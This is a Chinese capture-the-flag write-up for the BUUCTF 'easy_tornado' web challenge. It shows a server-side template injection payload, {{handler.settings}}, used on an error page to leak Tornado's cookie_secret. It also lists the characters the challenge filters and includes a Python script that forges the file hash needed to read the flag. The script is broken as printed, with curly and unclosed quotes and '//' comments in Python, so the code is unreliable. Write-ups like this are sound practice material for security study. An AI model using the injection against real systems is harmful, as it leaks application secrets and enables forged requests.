BUUCTF--Web--[护网杯 2018]easy_tornado

BUUCTF--Web--[护网杯 2018]easy_tornado_第1张图片
BUUCTF--Web--[护网杯 2018]easy_tornado_第2张图片
BUUCTF--Web--[护网杯 2018]easy_tornado_第3张图片
BUUCTF--Web--[护网杯 2018]easy_tornado_第4张图片解题突破点:

发现每个url后面都有一个filehash

hints.txt中提示md5(cookie_secret+md5(filename))

而flag.txt中提示flag in /fllllllllllllag

猜测flag就在fllllllllllllag文件中,关键找出cookie_secret

这里用到render()函数(生成模板的函数,想到模板注入STTI)

直接将要读取的文件名修改为fllllllllllllag
BUUCTF--Web--[护网杯 2018]easy_tornado_第5张图片发现报错页面
BUUCTF--Web--[护网杯 2018]easy_tornado_第6张图片在读取文件失败的这个链接中,发现STTI漏洞
BUUCTF--Web--[护网杯 2018]easy_tornado_第7张图片
BUUCTF--Web--[护网杯 2018]easy_tornado_第8张图片
测试发现有过滤,过滤的特殊字符有

"%'()*-/=[\]_|

BUUCTF--Web--[护网杯 2018]easy_tornado_第9张图片

参考师傅的博客https://blog.csdn.net/weixin_44037296/article/details/105078717

通过handler.settings对象获取cookie_secret的值,即:

handler指向RequestHandler
RequestHandler.settings指向self.application.settings
所以handler.settings最终指向RequestHandler.application.settings

xxx.buuoj.cn/error?msg={{handler.settings}}

BUUCTF--Web--[护网杯 2018]easy_tornado_第10张图片
脚本:

import hashlib
hash = hashlib.md5()#获取一个md5加密算法对象

filename=‘/fllllllllllllag‘
cookie_secret="0567b8eb-21bc-4c25-861f-481b36239643"
hash.update(filename.encode(‘utf-8‘))
s1=hash.hexdigest()//返回摘要,作为十六进制数据字符串值
hash = hashlib.md5()
hash.update((cookie_secret+s1).encode(‘utf-8))
print(hash.hexdigest())//hash.hexdigest() 
返回摘要,作为十六进制数据字符串值

BUUCTF--Web--[护网杯 2018]easy_tornado_第11张图片

你可能感兴趣的:(CTF)